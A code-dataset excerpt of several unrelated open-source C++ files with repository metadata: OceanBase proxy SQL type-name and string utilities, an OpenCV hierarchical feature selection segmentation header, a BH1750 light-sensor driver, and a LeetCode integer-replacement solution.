2d83dbe4e3b3ae914b47bef9ddbbf9324897e666 | 13,598 | cpp | C++ | src/common/ob_obj_type.cpp | stutiredboy/obproxy | b5f98a6e1c45e6a878376df49b9c10b4249d3626 | [
"Apache-2.0"
] | 74 | 2021-05-31T15:23:49.000Z | 2022-03-12T04:46:39.000Z | src/common/ob_obj_type.cpp | stutiredboy/obproxy | b5f98a6e1c45e6a878376df49b9c10b4249d3626 | [
"Apache-2.0"
] | 16 | 2021-05-31T15:26:38.000Z | 2022-03-30T06:02:43.000Z | src/common/ob_obj_type.cpp | stutiredboy/obproxy | b5f98a6e1c45e6a878376df49b9c10b4249d3626 | [
"Apache-2.0"
] | 64 | 2021-05-31T15:25:36.000Z | 2022-02-23T08:43:58.000Z | /**
* Copyright (c) 2021 OceanBase
* OceanBase Database Proxy(ODP) is licensed under Mulan PubL v2.
* You can use this software according to the terms and conditions of the Mulan PubL v2.
* You may obtain a copy of Mulan PubL v2 at:
* http://license.coscl.org.cn/MulanPubL-2.0
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
* EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
* MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PubL v2 for more details.
*/
#include <float.h>
#include "lib/ob_define.h"
#include "common/ob_obj_type.h"
#include "lib/charset/ob_charset.h"
namespace oceanbase
{
namespace common
{
const char *ob_obj_type_str(ObObjType type)
{
return ob_sql_type_str(type);
}
const char *ob_obj_tc_str(ObObjTypeClass tc)
{
return ob_sql_tc_str(tc);
}
const char *ob_sql_type_str(ObObjType type)
{
static const char *sql_type_name[ObMaxType+1] =
{
"NULL",
"TINYINT",
"SMALLINT",
"MEDIUMINT",
"INT",
"BIGINT",
"TINYINT UNSIGNED",
"SMALLINT UNSIGNED",
"MEDIUMINT UNSIGNED",
"INT UNSIGNED",
"BIGINT UNSIGNED",
"FLOAT",
"DOUBLE",
"FLOAT UNSIGNED",
"DOUBLE UNSIGNED",
"DECIMAL",
"DECIMAL UNSIGNED",
"DATETIME",
"TIMESTAMP",
"DATE",
"TIME",
"YEAR",
"VARCHAR",
"CHAR",
"HEX_STRING",
"EXT",
"UNKNOWN",
"TINYTEXT",
"TEXT",
"MEDIUMTEXT",
"LONGTEXT",
""
};
return sql_type_name[OB_LIKELY(type < ObMaxType) ? type : ObMaxType];
}
typedef int (*obSqlTypeStrFunc)(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type);
//For date, null/unkown/max/extend
#define DEF_TYPE_STR_FUNCS(TYPE, STYPE1, STYPE2) \
int ob_##TYPE##_str(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type)\
{ \
int ret = OB_SUCCESS; \
UNUSED(length); \
UNUSED(precision); \
UNUSED(scale); \
UNUSED(coll_type); \
int64_t pos = 0; \
ret = databuff_printf(buff, buff_length, pos, STYPE1 STYPE2); \
return ret; \
}
//For tinyint/smallint/mediumint/int/bigint (unsigned), year
#define DEF_TYPE_STR_FUNCS_PRECISION(TYPE, STYPE1, STYPE2) \
int ob_##TYPE##_str(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type)\
{ \
int ret = OB_SUCCESS; \
UNUSED(length); \
UNUSED(scale); \
UNUSED(coll_type); \
int64_t pos = 0; \
if (precision < 0) { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 STYPE2); \
} else { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 "(%ld)" STYPE2, precision); \
} \
return ret; \
}
//For datetime/timestamp/time
#define DEF_TYPE_STR_FUNCS_SCALE(TYPE, STYPE1, STYPE2) \
int ob_##TYPE##_str(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type) \
{ \
int ret = OB_SUCCESS; \
UNUSED(length); \
UNUSED(precision); \
UNUSED(coll_type); \
int64_t pos = 0; \
if (scale <= 0) { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 STYPE2); \
} else { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 "(%ld)" STYPE2, scale); \
} \
return ret; \
}
//For number/float/double (unsigned)
#define DEF_TYPE_STR_FUNCS_PRECISION_SCALE(TYPE, STYPE1, STYPE2) \
int ob_##TYPE##_str(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type) \
{ \
int ret = OB_SUCCESS; \
UNUSED(length); \
UNUSED(coll_type); \
int64_t pos = 0; \
if (precision < 0 && scale < 0) { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 STYPE2); \
} else { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 "(%ld,%ld)" STYPE2, precision, scale); \
} \
return ret; \
}
//For char/varchar
#define DEF_TYPE_STR_FUNCS_LENGTH(TYPE, STYPE1, STYPE2) \
int ob_##TYPE##_str(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type) \
{ \
int ret = OB_SUCCESS; \
UNUSED(precision); \
UNUSED(scale) ; \
int64_t pos = 0; \
if (CS_TYPE_BINARY == coll_type) { \
ret = databuff_printf(buff, buff_length, pos, STYPE2 "(%ld)", length); \
} else { \
ret = databuff_printf(buff, buff_length, pos, STYPE1 "(%ld)", length); \
} \
return ret; \
}
DEF_TYPE_STR_FUNCS(null, "null", "");
DEF_TYPE_STR_FUNCS_PRECISION(tinyint, "tinyint", "");
DEF_TYPE_STR_FUNCS_PRECISION(smallint, "smallint", "");
DEF_TYPE_STR_FUNCS_PRECISION(mediumint, "mediumint", "");
DEF_TYPE_STR_FUNCS_PRECISION(int, "int", "");
DEF_TYPE_STR_FUNCS_PRECISION(bigint, "bigint", "");
DEF_TYPE_STR_FUNCS_PRECISION(utinyint, "tinyint", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION(usmallint, "smallint", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION(umediumint, "mediumint", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION(uint, "int", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION(ubigint, "bigint", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION_SCALE(float, "float", "");
DEF_TYPE_STR_FUNCS_PRECISION_SCALE(double, "double", "");
DEF_TYPE_STR_FUNCS_PRECISION_SCALE(ufloat, "float", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION_SCALE(udouble, "double", " unsigned");
DEF_TYPE_STR_FUNCS_PRECISION_SCALE(number, "decimal", "");
DEF_TYPE_STR_FUNCS_PRECISION_SCALE(unumber, "decimal", " unsigned");
DEF_TYPE_STR_FUNCS_SCALE(datetime, "datetime", "");
DEF_TYPE_STR_FUNCS_SCALE(timestamp, "timestamp", "");
DEF_TYPE_STR_FUNCS(date, "date", "");
DEF_TYPE_STR_FUNCS_SCALE(time, "time", "");
DEF_TYPE_STR_FUNCS_PRECISION(year, "year", "");
DEF_TYPE_STR_FUNCS_LENGTH(varchar, "varchar", "varbinary");
DEF_TYPE_STR_FUNCS_LENGTH(char, "char", "binary");
DEF_TYPE_STR_FUNCS_LENGTH(hex_string, "hex_string", "hex_string");
DEF_TYPE_STR_FUNCS(extend, "ext", "");
DEF_TYPE_STR_FUNCS(unknown, "unknown", "");
DEF_TYPE_STR_FUNCS_LENGTH(tinytext, "tinytext", "tinyblob");
DEF_TYPE_STR_FUNCS_LENGTH(text, "text", "blob");
DEF_TYPE_STR_FUNCS_LENGTH(mediumtext, "mediumtext", "mediumblob");
DEF_TYPE_STR_FUNCS_LENGTH(longtext, "longtext", "longblob");
int ob_empty_str(char *buff, int64_t buff_length, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type)
{
int ret = OB_SUCCESS;
UNUSED(length);
UNUSED(scale) ;
UNUSED(precision);
UNUSED(coll_type);
if (buff_length > 0) {
buff[0] = '\0';
}
return ret;
}
int ob_sql_type_str(char *buff, int64_t buff_length, ObObjType type, int64_t length, int64_t precision, int64_t scale, ObCollationType coll_type)
{
static obSqlTypeStrFunc sql_type_name[ObMaxType+1] =
{
ob_null_str, // NULL
ob_tinyint_str, // TINYINT
ob_smallint_str, // SAMLLINT
ob_mediumint_str, // MEDIUM
ob_int_str, // INT
ob_bigint_str, // BIGINT
ob_utinyint_str, // TYIYINT UNSIGNED
ob_usmallint_str, // SMALLINT UNSIGNED
ob_umediumint_str, // MEDIUM UNSIGNED
ob_uint_str, // INT UNSIGNED
ob_ubigint_str, // BIGINT UNSIGNED
ob_float_str, // FLOAT
ob_double_str, // DOUBLE
ob_ufloat_str, // FLOAT UNSIGNED
ob_udouble_str, // DOUBLE UNSIGNED
ob_number_str, // DECIMAL
ob_unumber_str, // DECIMAL UNSIGNED
ob_datetime_str, // DATETIME
ob_timestamp_str, // TIMESTAMP
ob_date_str, // DATE
ob_time_str, // TIME
ob_year_str, // YEAR
ob_varchar_str, // VARCHAR
ob_char_str, // CHAR
ob_hex_string_str, // HEX_STRING
ob_extend_str, // EXT
ob_unknown_str, // UNKNOWN
ob_tinytext_str, //TINYTEXT
ob_text_str, //TEXT
ob_mediumtext_str, //MEDIUMTEXT
ob_longtext_str, //LONGTEXT
ob_empty_str // MAX
};
return sql_type_name[OB_LIKELY(type < ObMaxType) ? type : ObMaxType](buff, buff_length, length, precision, scale, coll_type);
}
//DEF_TYPE_STR_FUNCS(number, "decimal", "");
const char *ob_sql_tc_str(ObObjTypeClass tc)
{
static const char *sql_tc_name[] =
{
"NULL",
"INT",
"UINT",
"FLOAT",
"DOUBLE",
"DECIMAL",
"DATETIME",
"DATE",
"TIME",
"YEAR",
"STRING",
"EXT",
"UNKNOWN",
"TEXT",
""
};
return sql_tc_name[OB_LIKELY(tc < ObMaxTC) ? tc : ObMaxTC];
}
int32_t ob_obj_type_size(ObObjType type)
{
int32_t size = 0;
UNUSED(type);
// @todo
return size;
}
#ifndef INT24_MIN
#define INT24_MIN (-8388607 - 1)
#endif
#ifndef INT24_MAX
#define INT24_MAX (8388607)
#endif
#ifndef UINT24_MAX
#define UINT24_MAX (16777215U)
#endif
const int64_t INT_MIN_VAL[ObMaxType] =
{
0, // null.
INT8_MIN,
INT16_MIN,
INT24_MIN,
INT32_MIN,
INT64_MIN
};
const int64_t INT_MAX_VAL[ObMaxType] =
{
0, // null.
INT8_MAX,
INT16_MAX,
INT24_MAX,
INT32_MAX,
INT64_MAX
};
const uint64_t UINT_MAX_VAL[ObMaxType] =
{
0, // null.
0, 0, 0, 0, 0, // int8, int16, int24, int32, int64.
UINT8_MAX,
UINT16_MAX,
UINT24_MAX,
UINT32_MAX,
UINT64_MAX
};
const double REAL_MIN_VAL[ObMaxType] =
{
0.0, // null.
0.0, 0.0, 0.0, 0.0, 0.0, // int8, int16, int24, int32, int64.
0.0, 0.0, 0.0, 0.0, 0.0, // uint8, uint16, uint24, uint32, uint64.
-FLT_MAX,
-DBL_MAX,
0.0,
0.0
};
const double REAL_MAX_VAL[ObMaxType] =
{
0.0, // null.
0.0, 0.0, 0.0, 0.0, 0.0, // int8, int16, int24, int32, int64.
0.0, 0.0, 0.0, 0.0, 0.0, // uint8, uint16, uint24, uint32, uint64.
FLT_MAX,
DBL_MAX,
FLT_MAX,
DBL_MAX
};
} // common
} // oceanbase
| 38.412429 | 145 | 0.474482 | stutiredboy |
2d84412370f53d81895beb936eaa0d3e8afa65c5 | 6,177 | hpp | C++ | modules/hfs/include/opencv2/hfs.hpp | Nondzu/opencv_contrib | 0b0616a25d4239ee81fda965818b49b721620f56 | [
"BSD-3-Clause"
] | 36 | 2017-04-13T03:01:06.000Z | 2022-01-09T10:38:27.000Z | modules/hfs/include/opencv2/hfs.hpp | Nondzu/opencv_contrib | 0b0616a25d4239ee81fda965818b49b721620f56 | [
"BSD-3-Clause"
] | 13 | 2021-02-24T02:02:42.000Z | 2022-03-16T01:42:39.000Z | modules/hfs/include/opencv2/hfs.hpp | Nondzu/opencv_contrib | 0b0616a25d4239ee81fda965818b49b721620f56 | [
"BSD-3-Clause"
] | 25 | 2019-05-08T06:51:23.000Z | 2021-11-18T07:13:19.000Z | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#include "opencv2/core.hpp"
namespace cv { namespace hfs {
/** @defgroup hfs Hierarchical Feature Selection for Efficient Image Segmentation
The opencv hfs module contains an efficient algorithm to segment an image.
This module is implemented based on the paper Hierarchical Feature Selection for Efficient
Image Segmentation, ECCV 2016. The original project was developed by
Yun Liu(https://github.com/yun-liu/hfs).
Introduction to Hierarchical Feature Selection
----------------------------------------------
This algorithm is executed in 3 stages:
In the first stage, the algorithm uses SLIC (simple linear iterative clustering) algorithm
to obtain the superpixel of the input image.
In the second stage, the algorithm view each superpixel as a node in the graph.
It will calculate a feature vector for each edge of the graph. It then calculates a weight
for each edge based on the feature vector and trained SVM parameters. After obtaining
weight for each edge, it will exploit EGB (Efficient Graph-based Image Segmentation)
algorithm to merge some nodes in the graph thus obtaining a coarser segmentation
After these operations, a post process will be executed to merge regions that are smaller
then a specific number of pixels into their nearby region.
In the third stage, the algorithm exploits the similar mechanism to further merge
the small regions obtained in the second stage into even coarser segmentation.
After these three stages, we can obtain the final segmentation of the image.
For further details about the algorithm, please refer to the original paper:
Hierarchical Feature Selection for Efficient Image Segmentation, ECCV 2016
*/
//! @addtogroup hfs
//! @{
class CV_EXPORTS_W HfsSegment : public Algorithm {
public:
/** @brief: set and get the parameter segEgbThresholdI.
* This parameter is used in the second stage mentioned above.
* It is a constant used to threshold weights of the edge when merging
* adjacent nodes when applying EGB algorithm. The segmentation result
* tends to have more regions remained if this value is large and vice versa.
*/
CV_WRAP virtual void setSegEgbThresholdI(float c) = 0;
CV_WRAP virtual float getSegEgbThresholdI() = 0;
/** @brief: set and get the parameter minRegionSizeI.
* This parameter is used in the second stage
* mentioned above. After the EGB segmentation, regions that have fewer
* pixels then this parameter will be merged into it's adjacent region.
*/
CV_WRAP virtual void setMinRegionSizeI(int n) = 0;
CV_WRAP virtual int getMinRegionSizeI() = 0;
/** @brief: set and get the parameter segEgbThresholdII.
* This parameter is used in the third stage
* mentioned above. It serves the same purpose as segEgbThresholdI.
* The segmentation result tends to have more regions remained if
* this value is large and vice versa.
*/
CV_WRAP virtual void setSegEgbThresholdII(float c) = 0;
CV_WRAP virtual float getSegEgbThresholdII() = 0;
/** @brief: set and get the parameter minRegionSizeII.
* This parameter is used in the third stage
* mentioned above. It serves the same purpose as minRegionSizeI
*/
CV_WRAP virtual void setMinRegionSizeII(int n) = 0;
CV_WRAP virtual int getMinRegionSizeII() = 0;
/** @brief: set and get the parameter spatialWeight.
* This parameter is used in the first stage
* mentioned above(the SLIC stage). It describes how important is the role
* of position when calculating the distance between each pixel and it's
* center. The exact formula to calculate the distance is
* \f$colorDistance + spatialWeight \times spatialDistance\f$.
* The segmentation result tends to have more local consistency
* if this value is larger.
*/
CV_WRAP virtual void setSpatialWeight(float w) = 0;
CV_WRAP virtual float getSpatialWeight() = 0;
/** @brief: set and get the parameter slicSpixelSize.
* This parameter is used in the first stage mentioned
* above(the SLIC stage). It describes the size of each
* superpixel when initializing SLIC. Every superpixel
* approximately has \f$slicSpixelSize \times slicSpixelSize\f$
* pixels in the begining.
*/
CV_WRAP virtual void setSlicSpixelSize(int n) = 0;
CV_WRAP virtual int getSlicSpixelSize() = 0;
/** @brief: set and get the parameter numSlicIter.
* This parameter is used in the first stage. It
* describes how many iteration to perform when executing SLIC.
*/
CV_WRAP virtual void setNumSlicIter(int n) = 0;
CV_WRAP virtual int getNumSlicIter() = 0;
/** @brief do segmentation gpu
* @param src: the input image
* @param ifDraw: if draw the image in the returned Mat. if this parameter is false,
* then the content of the returned Mat is a matrix of index, describing the region
* each pixel belongs to. And it's data type is CV_16U. If this parameter is true,
* then the returned Mat is a segmented picture, and color of each region is the
* average color of all pixels in that region. And it's data type is the same as
* the input image
*/
CV_WRAP virtual Mat performSegmentGpu(InputArray src, bool ifDraw = true) = 0;
/** @brief do segmentation with cpu
* This method is only implemented for reference.
* It is highly NOT recommanded to use it.
*/
CV_WRAP virtual Mat performSegmentCpu(InputArray src, bool ifDraw = true) = 0;
/** @brief: create a hfs object
* @param height: the height of the input image
* @param width: the width of the input image
* @param segEgbThresholdI: parameter segEgbThresholdI
* @param minRegionSizeI: parameter minRegionSizeI
* @param segEgbThresholdII: parameter segEgbThresholdII
* @param minRegionSizeII: parameter minRegionSizeII
* @param spatialWeight: parameter spatialWeight
* @param slicSpixelSize: parameter slicSpixelSize
* @param numSlicIter: parameter numSlicIter
*/
CV_WRAP static Ptr<HfsSegment> create(int height, int width,
float segEgbThresholdI = 0.08f, int minRegionSizeI = 100,
float segEgbThresholdII = 0.28f, int minRegionSizeII = 200,
float spatialWeight = 0.6f, int slicSpixelSize = 8, int numSlicIter = 5);
};
//! @}
}} // namespace cv { namespace hfs {
| 40.11039 | 90 | 0.770763 | Nondzu |
2d85b453c4050e3c09b02049df1cafbea26612cf | 688 | cpp | C++ | src/BH1750.cpp | JVKran/OneTimeBH1750 | 132515b2099f1f96e5c13cca92269151f57850f7 | [
"Apache-2.0"
] | 1 | 2020-11-24T05:27:33.000Z | 2020-11-24T05:27:33.000Z | src/BH1750.cpp | JVKran/OneTimeBH1750 | 132515b2099f1f96e5c13cca92269151f57850f7 | [
"Apache-2.0"
] | null | null | null | src/BH1750.cpp | JVKran/OneTimeBH1750 | 132515b2099f1f96e5c13cca92269151f57850f7 | [
"Apache-2.0"
] | 1 | 2021-05-07T18:47:46.000Z | 2021-05-07T18:47:46.000Z | /* OneTime-BH1750 Library
Jochem van Kranenburg - jochemvk.duckdns.org - 9 March 2020
*/
#include "BH1750.h"
#ifdef BH1750_ATTINY
BH1750::BH1750(USI_TWI & bus, const uint8_t address):
bus(bus),
address(address)
{}
#else
BH1750::BH1750(TwoWire & bus, const uint8_t address):
bus(bus),
address(address)
{}
#endif
void BH1750::begin(){
bus.begin();
}
uint16_t BH1750::getLightIntensity(){
bus.beginTransmission(address);
bus.write((uint8_t)opCodes::ONE_TIME_LOW_RES);
bus.endTransmission();
delay((uint8_t)measurementDurations::LOW_RES_MEAS_TIME);
bus.requestFrom(address, (uint8_t)2);
uint16_t intensity = bus.read() << 8;
intensity |= bus.read();
return intensity;
} | 19.657143 | 62 | 0.728198 | JVKran |
2d88e7ce82d6248f3d63d2278c6f91572baeb2df | 544 | cpp | C++ | LeetCode/ThousandOne/0397-int_replacement.cpp | Ginkgo-Biloba/Cpp-Repo1-VS | 231c68a055e6bf69a3f7c224e7c0182b67ce5b67 | [
"Apache-2.0"
] | null | null | null | LeetCode/ThousandOne/0397-int_replacement.cpp | Ginkgo-Biloba/Cpp-Repo1-VS | 231c68a055e6bf69a3f7c224e7c0182b67ce5b67 | [
"Apache-2.0"
] | null | null | null | LeetCode/ThousandOne/0397-int_replacement.cpp | Ginkgo-Biloba/Cpp-Repo1-VS | 231c68a055e6bf69a3f7c224e7c0182b67ce5b67 | [
"Apache-2.0"
] | null | null | null | #include "leetcode.hpp"
/* 397. 整数替换
给定一个正整数 n,你可以做如下操作:
1. 如果 n 是偶数,则用 n / 2替换 n。
2. 如果 n 是奇数,则可以用 n + 1或n - 1替换 n。
n 变为 1 所需的最小替换次数是多少?
示例 1:
输入:
8
输出:
3
解释:
8 -> 4 -> 2 -> 1
示例 2:
输入:
7
输出:
4
解释:
7 -> 8 -> 4 -> 2 -> 1
或
7 -> 6 -> 3 -> 2 -> 1
*/
// 抄的,3 真是够了
int integerReplacement(int _n)
{
int ans = 0;
uint32_t u = _n;
for (; u != 1; ++ans)
{
if (u & 1)
{
if (u > 4 && (u & 3) == 3)
u += 1;
else
u -= 1;
}
else
u >>= 1;
}
return ans;
}
int main()
{
OutExpr(integerReplacement(100000000), "%d");
}
| 9.714286 | 46 | 0.481618 | Ginkgo-Biloba |
2d8bb4e1f22ea74f51b8845d67bc58bd9ffab508 | 10,219 | cpp | C++ | src/obproxy/utils/ob_proxy_utils.cpp | stutiredboy/obproxy | b5f98a6e1c45e6a878376df49b9c10b4249d3626 | [
"Apache-2.0"
] | 74 | 2021-05-31T15:23:49.000Z | 2022-03-12T04:46:39.000Z | src/obproxy/utils/ob_proxy_utils.cpp | stutiredboy/obproxy | b5f98a6e1c45e6a878376df49b9c10b4249d3626 | [
"Apache-2.0"
] | 16 | 2021-05-31T15:26:38.000Z | 2022-03-30T06:02:43.000Z | src/obproxy/utils/ob_proxy_utils.cpp | stutiredboy/obproxy | b5f98a6e1c45e6a878376df49b9c10b4249d3626 | [
"Apache-2.0"
] | 64 | 2021-05-31T15:25:36.000Z | 2022-02-23T08:43:58.000Z | /**
* Copyright (c) 2021 OceanBase
* OceanBase Database Proxy(ODP) is licensed under Mulan PubL v2.
* You can use this software according to the terms and conditions of the Mulan PubL v2.
* You may obtain a copy of Mulan PubL v2 at:
* http://license.coscl.org.cn/MulanPubL-2.0
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
* EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
* MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PubL v2 for more details.
*/
#define USING_LOG_PREFIX PROXY
#include "utils/ob_proxy_utils.h"
#include "utils/ob_proxy_lib.h"
#include "lib/file/ob_file.h"
#include "lib/time/ob_time_utility.h"
using namespace oceanbase::common;
namespace oceanbase
{
namespace obproxy
{
const char *OBPROXY_TIMESTAMP_VERSION_FORMAT = "%Y%m%d%H%i%s%f";
bool ObRandomNumUtils::is_seed_inited_ = false;
int64_t ObRandomNumUtils::seed_ = -1;
int ObRandomNumUtils::get_random_num(const int64_t min, const int64_t max, int64_t &random_num)
{
int ret = OB_SUCCESS;
random_num = 0;
if (OB_UNLIKELY(min > max)) {
ret = OB_INVALID_ARGUMENT;
LOG_WARN("invalid input value", K(min), K(max), K(ret));
} else if (!is_seed_inited_) {
if (OB_FAIL(init_seed())) {
LOG_WARN("fail to init random seed", K(ret));
}
}
if (OB_SUCC(ret)) {
random_num = min + random() % (max - min + 1);
}
return ret;
}
int64_t ObRandomNumUtils::get_random_half_to_full(const int64_t full_num)
{
int ret = OB_SUCCESS;
int64_t ret_value = 0;
if (OB_UNLIKELY(full_num < 0)) {
ret = OB_INVALID_ARGUMENT;
LOG_WARN("invalid input value", K(full_num), K(ret));
} else if (OB_UNLIKELY(0 == full_num)) {
LOG_INFO("full_num is zero, will return 0 as random num");
} else if (OB_FAIL(get_random_num(full_num / 2, full_num, ret_value))) {
LOG_WARN("fail to get random num, will return full_num as random num", K(ret));
ret_value = full_num;
} else {/*do nothing*/}
return ret_value;
}
int ObRandomNumUtils::init_seed()
{
int ret = OB_SUCCESS;
if (OB_LIKELY(!is_seed_inited_)) {
if (OB_FAIL(get_random_seed(seed_))) {
LOG_WARN("fail to get random seed", K(ret));
} else {
srandom(static_cast<uint32_t>(seed_));
is_seed_inited_ = true;
}
}
return ret;
}
int ObRandomNumUtils::get_random_seed(int64_t &seed)
{
int ret = OB_SUCCESS;
ObFileReader file_reader;
const bool dio = false;
if (OB_FAIL(file_reader.open(ObString::make_string("/dev/urandom"), dio))) {
LOG_WARN("fail to open /dev/urandom", KERRMSGS, K(ret));
} else {
int64_t random_value = 0;
int64_t ret_size = 0;
int64_t read_size = sizeof(random_value);
int64_t offset = 0;
char *buf = reinterpret_cast<char *>(&random_value);
if (OB_FAIL(file_reader.pread(buf, read_size, offset, ret_size))) {
LOG_WARN("fail to read", KERRMSGS, K(ret));
} else if (OB_UNLIKELY(read_size != ret_size)) {
ret = OB_ERR_UNEXPECTED;
LOG_WARN("readed data is not enough", K(read_size), K(ret_size), K(ret));
} else {
seed = labs(random_value);
}
file_reader.close();
}
return ret;
}
int get_int_value(const ObString &str, int64_t &value, const int radix /*10*/)
{
int ret = OB_SUCCESS;
if (OB_UNLIKELY(str.empty())) {
ret = OB_INVALID_ARGUMENT;
LOG_WARN("str is empty", K(str), K(ret));
} else {
static const int32_t MAX_INT64_STORE_LEN = 31;
char int_buf[MAX_INT64_STORE_LEN + 1];
int64_t len = std::min(str.length(), MAX_INT64_STORE_LEN);
MEMCPY(int_buf, str.ptr(), len);
int_buf[len] = '\0';
char *end_ptr = NULL;
value = strtoll(int_buf, &end_ptr, radix);
if (('\0' != *int_buf ) && ('\0' == *end_ptr)) {
// succ, do nothing
} else {
ret = OB_INVALID_DATA;
LOG_WARN("invalid int value", K(value), K(ret), K(str));
}
}
return ret;
}
int get_double_value(const ObString &str, double &value)
{
int ret = OB_SUCCESS;
if (OB_UNLIKELY(str.empty())) {
ret = OB_INVALID_ARGUMENT;
LOG_WARN("str is empty", K(str), K(ret));
} else {
double ret_val = 0.0;
static const int32_t MAX_UINT64_STORE_LEN = 32;
char double_buf[MAX_UINT64_STORE_LEN + 1];
int64_t len = std::min(str.length(),
static_cast<ObString::obstr_size_t>(MAX_UINT64_STORE_LEN));
MEMCPY(double_buf, str.ptr(), len);
double_buf[len] = '\0';
char *end_ptr = NULL;
ret_val = strtod(double_buf, &end_ptr);
if (('\0' != *double_buf ) && ('\0' == *end_ptr)) {
value = ret_val;
} else {
ret = OB_INVALID_DATA;
LOG_WARN("invalid dobule value", K(value), K(str), K(ret));
}
}
return ret;
}
bool has_upper_case_letter(common::ObString &string)
{
bool bret = false;
if (OB_LIKELY(NULL != string.ptr())) {
int64_t length = static_cast<int64_t>(string.length());
for (int64_t i = 0; !bret && i < length; ++i) {
if (string[i] >= 'A' && string[i] <= 'Z') {
bret = true;
}
}
}
return bret;
}
void string_to_lower_case(char *str, const int32_t str_len)
{
if (OB_LIKELY(NULL != str) && OB_LIKELY(str_len > 0)) {
for (int32_t i = 0; NULL != str && i < str_len; ++i, ++str) {
if ((*str) >= 'A' && (*str) <= 'Z') {
(*str) = static_cast<char>((*str) + 32);
}
}
}
}
void string_to_upper_case(char *str, const int32_t str_len)
{
if (OB_LIKELY(NULL != str) && OB_LIKELY(str_len > 0)) {
for (int32_t i = 0; NULL != str && i < str_len; ++i, ++str) {
if ((*str) >= 'a' && (*str) <= 'z') {
(*str) = static_cast<char>((*str) - 32);
}
}
}
}
bool is_available_md5(const ObString &string)
{
bool bret = true;
if (!string.empty() && OB_DEFAULT_PROXY_MD5_LEN == string.length()) {
for (int64_t i = 0; bret && i < OB_DEFAULT_PROXY_MD5_LEN; ++i) {
if (string[i] < '0'
|| ('9' < string[i] && string[i] < 'a')
|| string[i] > 'z') {
bret = false;
}
}
} else {
bret = false;
}
return bret;
}
ObString trim_header_space(const ObString &input)
{
ObString ret;
if (NULL != input.ptr()) {
const char *ptr = input.ptr();
ObString::obstr_size_t start = 0;
ObString::obstr_size_t end = input.length();
while (start < end && IS_SPACE(ptr[start])) {
start++;
}
ret.assign_ptr(input.ptr() + start, end - start);
}
return ret;
}
ObString trim_tailer_space(const ObString &input)
{
ObString ret;
if (NULL != input.ptr()) {
const char *ptr = input.ptr();
ObString::obstr_size_t start = 0;
ObString::obstr_size_t end = input.length();
while (start < end && IS_SPACE(ptr[end - 1])) {
end--;
}
ret.assign_ptr(input.ptr() + start, end - start);
}
return ret;
}
common::ObString trim_quote(const common::ObString &input)
{
ObString ret;
//trim single quotes
if (!input.empty() && input.length() > 1) {
if ('\'' == input[0] && '\'' == input[input.length() - 1]) {
ret.assign_ptr(input.ptr() + 1, input.length() - 2);
}
} else {
ret.assign_ptr(input.ptr(), input.length());
}
return ret;
}
int str_replace(char *input_buf, const int32_t input_size,
char *output_buf, const int32_t output_size,
const char *target_key, const int32_t target_key_len,
const ObString &target_value, int32_t &output_pos)
{
int ret = OB_SUCCESS;
if (OB_ISNULL(input_buf) || OB_UNLIKELY(input_size <= 0)
|| OB_ISNULL(output_buf) || OB_UNLIKELY(output_size <= 0)
|| OB_ISNULL(target_key) || OB_UNLIKELY(target_key_len <= 0)
|| OB_UNLIKELY(output_pos < 0) || OB_UNLIKELY(output_pos >= output_size)) {
ret = OB_INVALID_ARGUMENT;
LOG_WARN("invalid_argument", KP(input_buf), K(input_size), KP(output_buf), K(output_size),
KP(target_key), K(target_key_len), K(output_pos), K(ret));
} else {
char *found_ptr = NULL;
int32_t ipos = 0;
int32_t copy_len = 0;
while (OB_SUCC(ret)
&& ipos < input_size
&& NULL != (found_ptr = strstr(input_buf + ipos, target_key))) {
copy_len = static_cast<int32_t>(found_ptr - input_buf - ipos);
if (output_pos + copy_len < output_size) {
memcpy(output_buf + output_pos, input_buf + ipos, copy_len);
output_pos += copy_len;
ipos += (copy_len + target_key_len);
if (!target_value.empty()) {
copy_len = target_value.length();
if (output_pos + copy_len < output_size) {
memcpy(output_buf + output_pos, target_value.ptr(), copy_len);
output_pos += copy_len;
} else {
ret = OB_SIZE_OVERFLOW;
LOG_INFO("size is overflow", K(output_pos), K(copy_len), K(output_size), K(ret));
}
}
} else {
ret = OB_SIZE_OVERFLOW;
LOG_INFO("size is overflow", K(output_pos), K(copy_len), K(output_size), K(ret));
}
}
if (OB_SUCC(ret) && ipos < input_size) {
copy_len = input_size - ipos;
if (output_pos < output_size && output_pos + copy_len < output_size) {
memcpy(output_buf + output_pos, input_buf + ipos, copy_len);
output_pos += copy_len;
} else {
ret = OB_SIZE_OVERFLOW;
LOG_INFO("size is overflow", K(output_pos), K(copy_len), K(output_size), K(ret));
}
}
ObString key(target_key_len, target_key);
ObString input(input_size, input_buf);
ObString output(output_pos, output_buf);
LOG_DEBUG("finish str_replace", K(key), K(target_value), K(input), K(output), K(ret));
}
return ret;
}
